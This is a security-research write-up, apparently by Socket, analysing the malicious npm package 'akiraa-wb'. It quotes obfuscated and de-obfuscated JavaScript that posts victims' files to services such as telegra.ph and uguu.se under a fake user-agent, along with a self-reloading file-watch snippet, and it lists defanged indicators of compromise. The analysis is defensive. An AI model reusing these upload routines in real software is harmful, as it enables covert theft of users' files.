The Socket Research team recently identified an obfuscated file within the "akiraa-wb" package, designed to facilitate unauthorized file uploads to multiple external services. Our analysis revealed that the script covertly transfers a victim's files to various file-sharing services by embedding the file data in form-data within HTTP POST requests directed at specific URLs. Each function within the script is tailored to handle uploads to different services, such as telegra.ph, pomf2.lain.la, and catbox.moe.
The author of this package, bang_syaii, has published several packages, including tools for WhatsApp automation, server security, and YouTube content downloading.
This package was categorized under 'botwa' or 'Selfbot WhatsApp', a type of script known for automating tasks on personal WhatsApp accounts. While many tools and scripts for WhatsApp automation exist on platforms like GitHub, and are even offered by companies, they carry significant risks, including potential account suspension due to WhatsApp's stringent policies.
We found that akiraa-wb demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 0 open source maintainers collaborating on the project.
During our initial review of the package, we encountered the following obfuscated code:
function _0x4efe(_0x15a748, _0x28b9ca) {
const _0x243173 = _0x2431();
return _0x4efe = function (_0x4efe99, _0x2e8744) {
_0x4efe99 = _0x4efe99 - 0x109;
let _0x305124 = _0x243173[_0x4efe99];
return _0x305124;
}, _0x4efe(_0x15a748, _0x28b9ca);
}
const _0x1553a9 = _0x4efe;
.........................tbc................................
'exec',
'https://tmpfiles.org/dl/', 'src', 'Error:', '135HzfDho', 'resolve', 'axios', 'file', 'files[]', 'error', 'https://skizo.tech/api/upload', 'cache', 'fake-useragent', 'file-type', '919626sXBxad', '2003120nLCNPg', '1352ZmrmMk', 'fileToUpload', '25824QnbkcO', 'fail', 'json', 'UPLOADCARE_PUB_KEY', 'https://', 'watchFile', 'https://ucarecdn.com/', '1431070BiPOQa', 'fileName', 'url', 'post', 'POST', 'text', 'chalk', 'https://pomf2.lain.la/upload.php', 'hex', 'randomBytes', '5DFpXfB', 'https://uguu.se/upload.php', 'data', 'https://api.gofile.io/getServer', 'fileupload', 'now', 'http://0x0.st', 'reqtype', 'https://catbox.moe/user/api.php', '.gofile.io/uploadFile', 'success', 'getBuffer', 'https://upload.uploadcare.com/base/', '51SRvzck', 'append', 'https://itzpire.site/tools/upload', 'toString', 'node-fetch', 'GET', '54676UJncpv', 'Failed', 'exports', '44lDjIPY', 'getHeaders', 'cheerio', 'message'];
_0x2431 = function () {
return _0x5f238a;
};
return _0x2431();
}
fs[_0x1553a9(0x11b)](file, () => {
const _0x4f3a81 = _0x1553a9;
fs['unwatchFile'](file), delete require[_0x4f3a81(0x10f)][file], require(file);
})
Detailed Analysis of Malicious Content#
Upon de-obfuscation of the file, we noticed that the code contains multiple functions that deal with file uploads to suspicious URLs. These functions upload files by sending the file data as part of a multipart form in HTTP POST requests. Below, we’ll explain the relevant parts of the code responsible for these operations, along with code snippets.
Creating Form Data
Each function starts by creating form data that will be sent in the POST request. This is done using the createFormData
function, which appends the file buffer to the form data.
const createFormData = (_0x28481b, _0x199329, _0xd1715e) => {
const { mime: _0xb2cb19 } = fromBuffer(_0x28481b) || {},
_0x1881ee = new FormData();
return (
_0x1881ee.append(_0x199329, _0x28481b, randomBytes + '.' + _0xd1715e),
_0x1881ee
);
};
_0x28481b
: The file buffer (binary data) to be uploaded._0x199329
: The key name for the file in the form data (e.g., 'file' or 'files')._0xd1715e
: The file extension (e.g., 'jpg', 'png').
This function uses fromBuffer
to detect the MIME type of the file and appends it to the form data with a randomly generated filename.
Sending Data to External Services
The data collected (file in form-data) is then sent to external URLs using HTTP POST requests. Each function makes a request to a specific URL corresponding to a file-sharing service.
Below the code snippet for uploading a file to Telegra.ph:
telegraPh: async (_0x3d2eed) => {
try {
const { ext: _0xa852ef } = await fromBuffer(_0x3d2eed),
_0x4e049a = await createFormData(_0x3d2eed, 'file', _0xa852ef),
_0x50070e = await fetch('https://telegra.ph/upload', {
method: 'POST',
body: _0x4e049a,
}),
_0x6354d9 = await _0x50070e.json();
if (_0x6354d9.error) {
throw _0x6354d9.error;
}
return 'https://telegra.ph' + _0x6354d9[0].src;
} catch (_0x574189) {
throw false;
}
}
- The file is sent to the URL https://telegra.ph/upload.
- The
fetch
function sends the form data in a POST request. - The server’s response is parsed as JSON, and the file URL is returned.
Another example of sending data to a different service (Uguu.se):
Uguu: async (_0x267cd4) => {
try {
const { ext: _0x331701, mime: _0x135427 } =
(await fromBuffer(_0x267cd4)) || {},
_0x49a3e9 = createFormData(_0x267cd4, 'files[]', _0x331701),
_0x27a6fc = await fetch('https://uguu.se/upload.php', {
method: 'POST',
body: _0x49a3e9,
headers: { 'User-Agent': fakeUserAgent() },
}),
_0x565f49 = await _0x27a6fc.json();
return _0x565f49.files[0].url;
} catch (_0x32a889) {
throw false;
}
}
- The file is sent to the URL https://uguu.se/upload.php.
- A
User-Agent
header is added using fakeUserAgent()
to mimic a real browser. - The response contains the URL of the uploaded file.
Handling Responses and Errors
The code handles responses and potential errors with the handleErrorResponse
function. If an error occurs during the POST request, the error is logged and rethrown. This function is not explicitly shown in every upload function but is a utility for handling errors consistently.
handleErrorResponse = (_0x1b618b, _0x10f934) => {
_0x10f934.fail(chalk.red('Failed'));
console.error(chalk.red('Error:'), _0x1b618b.message);
throw _0x1b618b;
}
Additionally, it has been observed that the file continuously monitors itself for any changes through the usage of fs.watchFile. On detecting a change, the code removes the current version of the file from cache and reloads it so that the changes take effect immediately. This could be an attempt to introduce malicious code while avoiding detection.
Self-monitoring code
let fs = require('fs'),
file = require.resolve(__filename)
fs.watchFile(file, () => {
fs.unwatchFile(file)
delete require.cache[file]
require(file)
})
Based on the analysis, this code has been classified as malicious due to its behavior of sending data to external services without the user's consent. The URLs utilized in this script are associated with known malicious endpoints often exploited by cybercriminals or attackers to exfiltrate sensitive data. Specifically, the script collects and uploads files to various file-sharing services without notifying the user, making it a tool for unauthorized data exfiltration. The presence of these URLs and the automated nature of the file uploads are clear indicators of compromise (IOCs) that security teams should monitor to prevent data breaches and mitigate potential threats.
IOC - File Upload URLs
- hxxps://telegra.ph/upload (Telegra.ph file upload)
- hxxps://pomf2.lain.la/upload.php (Pomf2 file upload)
- hxxps://upload.uploadcare.com/base/ (Uploadcare file upload)
- hxxps://tmpfiles.org/api/v1/upload (Tmpfiles file upload)
- hxxps://uguu.se/upload.php (Uguu file upload)
- hxxps://api.gofile.io/getServer (Gofile server retrieval)
- hxxps://{server}.gofile.io/uploadFile (Gofile file upload, dynamic server URL)
- hxxp://0x0.st (0x0.st file upload)
- hxxps://catbox.moe/user/api.php (Catbox file upload)
- hxxps://itzpire.site/tools/upload (Itzpire file upload)
- hxxps://skizo.tech/api/upload (Skizo file upload)
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta